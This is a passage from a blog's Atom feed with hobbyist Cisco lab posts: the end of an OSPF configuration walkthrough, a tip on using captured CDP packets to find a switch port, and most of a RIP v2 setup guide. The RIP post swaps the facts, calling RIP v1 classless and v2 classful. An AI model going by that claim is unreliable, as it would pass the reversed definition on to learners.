id="SPELLING_ERROR_39"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;conf&lt;/span&gt; t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;ospf&lt;/span&gt; 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R3(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 0.0.0.255 area 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Notice, I just create the routes that I want advertised and place them into Area 0.  All routers must have at least one interface in Area 0. I have used 10 as the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;OSPF&lt;/span&gt; process ID.  this could be different on each router but its easier to remember if it is all the same.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Great.  Now I verify that the routes have been &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_45"&gt;propagated&lt;/span&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;ip&lt;/span&gt; route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Gateway of last resort is not set&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;     172.16.0.0/32 is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;subnetted&lt;/span&gt;, 1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;subnets&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O       172.16.10.1 [110/3] via 192.168.2.1, 00:06:53, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O    192.168.1.0/24 [110/2] via 192.168.2.1, 00:06:53, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And can I ping the 172.16.10.1 interface?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ping 172.16.10.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Type escape sequence to abort.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sending 5, 100-byte &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;ICMP&lt;/span&gt; Echos to 172.16.10.1, timeout is 2 seconds:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!!!!!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 52/72/96 ms&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;Ok&lt;/span&gt; this is all good but I can see on the routing table of R3 (shown above) that I have no gateway of last resort set.  I want to set this to go to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;loopback&lt;/span&gt; 0 on R1.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To fix this I'll go back to R1, tell &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;OSPF&lt;/span&gt; to advertise the gateway route and then create a static route to set the gateway of last resort.  Here's how:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;ospf&lt;/span&gt; 10&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;default-information originate&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;config&lt;/span&gt;-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;ip&lt;/span&gt; route 0.0.0.0 0.0.0.0 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;loopback&lt;/span&gt; 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;config&lt;/span&gt;)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;sh &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;ip&lt;/span&gt; route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Gateway of last resort is 0.0.0.0 to network 0.0.0.0&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;     172.16.0.0/24 is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;subnetted&lt;/span&gt;, 1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;subnets&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C       172.16.10.0 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;Loopback&lt;/span&gt;0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;     10.0.0.0/24 is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;subnetted&lt;/span&gt;, 1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;subnets&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C       10.1.1.0 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;Loopback&lt;/span&gt;1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.1.0/24 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O    192.168.2.0/24 [110/2] via 192.168.1.2, 00:20:59, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_72"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S*   0.0.0.0/0 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_73"&gt;Loopback&lt;/span&gt;0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And  I have another look on R3 to make sure it has got to that network.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_74"&gt;ip&lt;/span&gt; route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Codes: C - connected, S - static, R - RIP, M - mobile, B - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_75"&gt;BGP&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       D - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;EIGRP&lt;/span&gt;, EX - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_77"&gt;EIGRP&lt;/span&gt; external, O - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_78"&gt;OSPF&lt;/span&gt;, IA - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_79"&gt;OSPF&lt;/span&gt; inter area&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       N1 - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_80"&gt;OSPF&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_81"&gt;NSSA&lt;/span&gt; external type 1, N2 - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_82"&gt;OSPF&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_83"&gt;NSSA&lt;/span&gt; external type 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       E1 - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_84"&gt;OSPF&lt;/span&gt; external type 1, E2 - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_85"&gt;OSPF&lt;/span&gt; external type 2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       i - IS-IS, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_86"&gt;su&lt;/span&gt; - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_87"&gt;ia&lt;/span&gt; - IS-IS inter area, * - candidate default, U - per-user static route&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;       o - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_88"&gt;ODR&lt;/span&gt;, P - periodic downloaded static route&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="color:#FF0000;"&gt;Gateway of last resort is 192.168.2.1 to network 0.0.0.0&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;     172.16.0.0/32 is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_89"&gt;subnetted&lt;/span&gt;, 1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_90"&gt;subnets&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O       172.16.10.1 [110/3] via 192.168.2.1, 00:23:59, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_91"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O    192.168.1.0/24 [110/2] via 192.168.2.1, 00:23:59, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_92"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_93"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;O*E2 0.0.0.0/0 [110/1] via 192.168.2.1, 00:04:23, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_94"&gt;FastEthernet&lt;/span&gt;0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R3#&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bingo!  All done.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Links&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.netcraftsmen.net/resources/archived-articles/434.html"&gt;Here&lt;/a&gt; is a link to a great article on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_95"&gt;OSPF&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.ciscohandsontraining.com/labels/OSPF.html"&gt;Here&lt;/a&gt; is a link to some great &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_96"&gt;OSPF&lt;/span&gt; videos&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-3819567561179665450?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/3819567561179665450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=3819567561179665450&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3819567561179665450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3819567561179665450'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/ip-routing-ospf.html' title='IP Routing - OSPF'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/Srzgae25USI/AAAAAAAABQE/j00wRNnWGOw/s72-c/Routing+lab+diagram.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6271421471308180336</id><published>2009-09-22T13:20:00.006+01:00</published><updated>2009-09-22T20:05:10.160+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>CDP - What Switch Am I Connected To?</title><content type='html'>I'm sitting here on my day off, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;I've&lt;/span&gt; mowed the lawn and I had a few minutes to spare so I thought I would have a closer look at a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;CDP&lt;/span&gt; packet.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;CPD stands for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Cisco&lt;/span&gt; Discovery Protocol and it's a packet that is sent out of every interface of my switch by default.  Now I'll be covering &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;CDP&lt;/span&gt; in more detail in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;another&lt;/span&gt; post but I wanted to just quickly get this down because it's so cool.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;How many times have you had a PC that you need to figure out which switch and which port its plugged into?  Probably loads right.  Me too.  Well a simple packet capture for a minute or so will give you all the information to go to the right switch and the right port.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As can be seen in the screenshot below, I have &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Wireshark&lt;/span&gt; set to filter on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;CDP&lt;/span&gt; and in the first packet that comes through I can see that my PC is connect to switch S1 (Device ID: S1) and is on port &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;FastEthernet&lt;/span&gt; 0/3 (Port ID: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;FastEthernet&lt;/span&gt; 0/3).  How cool is that!  My days of tracing cables are now over (maybe!).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SrjFLaj5KiI/AAAAAAAABP8/N0M6xEb_67o/s1600-h/cdp.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SrjFLaj5KiI/AAAAAAAABP8/N0M6xEb_67o/s400/cdp.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5384270154420529698" style="cursor: pointer; width: 400px; height: 376px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now there's some other useful information in there too like the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;IP&lt;/span&gt; Address of the switch, the Switch model and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;IOS&lt;/span&gt; version.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Just thought I would share that useful tip (well I thought it was pretty useful anyway).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6271421471308180336?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6271421471308180336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6271421471308180336&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6271421471308180336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6271421471308180336'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/cdp-what-switch-am-i-connected-to.html' title='CDP - What Switch Am I Connected To?'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/SrjFLaj5KiI/AAAAAAAABP8/N0M6xEb_67o/s72-c/cdp.PNG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8583606263174480526</id><published>2009-09-19T22:26:00.006+01:00</published><updated>2009-09-19T23:14:42.852+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Routing'/><category scheme='http://www.blogger.com/atom/ns#' term='RIP'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>IP Routing - RIP</title><content type='html'>&lt;div&gt;In this post i'm going to describe how to configure RIP as a routing protocol.  I'll be using the network layout as shown below.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrVOF4XbVYI/AAAAAAAABPo/3DAhfxxZaQw/s1600-h/Routing+lab+diagram.png"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SrVOF4XbVYI/AAAAAAAABPo/3DAhfxxZaQw/s320/Routing+lab+diagram.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5383294792528254338" style="cursor: pointer; width: 320px; height: 99px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 1 (R1)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.1/24&lt;/div&gt;&lt;div&gt;loopback 0 - 172.16.10.0/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 2 (R2)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.1.2/24&lt;/div&gt;&lt;div&gt;FastEthernet 1/0 - 192.168.2.1/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Router 3 (R3)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;FastEthernet 0/0 - 192.168.2.2/24&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;About RIP&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First a bit about RIP.  RIP is a distance vector dynamic routing protocol.  That means it populates its routing table based on the routing updates its recieves from it's neighbors and it calculates the best path based on distance (or hops). &lt;/div&gt;&lt;div&gt;RIP comes in 2 versions, version 1 and version 2.  RIP V1 has been around since the late 60's, is classless meaning it doesnt send subnet information, it has no authentication and it works by broadcasting the routes it knows about every 30 seconds.  RIP V2 is classfull, supports authentication and uses multicast (224.0.0.9).   RIP is non-proprietry so it is supported on a range of equipment and not just cisco. RIP (V1 and V2) both have an administrative distance of 120.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Configuring RIP&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay, now the fun part.  I'll be setting up RIP V2 in this post.&lt;/div&gt;&lt;div&gt;The way RIP works is I enable it on my router, tell it to use version 2, and tell it what networks to advertise.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To start with lets see what routes R1 knows already:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R1#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    172.16.10.0 is directly connected, Loopback0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.1.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Okay, so it knows about the directly connrected routes.  What about R3?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Great.  No chance of pinging the 172.16.10.1 interface on R1 then.  For this pinging business to be sucessfull I need to enable RIP V2 on all the routers.  I then need to list all the networks that each router knows about.  Like this.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router 1 (R1)&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;version 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 172.16.10.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router 2 (R2)&lt;/div&gt;&lt;div&gt;R2(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;version 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Router 3 (R3)&lt;/div&gt;&lt;div&gt;R1(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;version 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R1(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.2.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Great. Now i'll check R3 routing table.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;show ip route&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Gateway of last resort is not set&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R    172.16.0.0/16 [120/1] via 192.168.2.1, 00:00:17, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;R    192.168.1.0/24 [120/1] via 192.168.2.1, 00:00:17, FastEthernet0/0&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;C    192.168.2.0/24 is directly connected, FastEthernet0/&lt;/i&gt;0&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Brilliant.  I can now see the routes to 172.16.0.0 network.  And can I ping it?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R3#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;ping 172.16.10.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Type escape sequence to abort.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Sending 5, 100-byte ICMP Echos to 172.16.10.1, timeout is 2 seconds:&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;!!!!!&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 60/72/92 ms&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So remember, you have to tell the router which networks you want to advertise and if you dont list the network which an interface is configured for, RIP won't advertise out of that interface.&lt;/div&gt;&lt;div&gt;Lastly in this section I will cover how to turn off RIP propogating out of an Interface.  This could be because you have RIP enabled but on of your interfaces is connected to a untrusted network for example.  To prevent the propogation you wolud make the interface passive.  You will still recieve RIP updates onthe interface bt will not send them.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In the example below I'll prevent Router 2 from sending updates to Router 3.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;R2(config)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;router rip&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;version 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;network 192.168.1.0 255.255.255.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;R2(config-router)#&lt;span 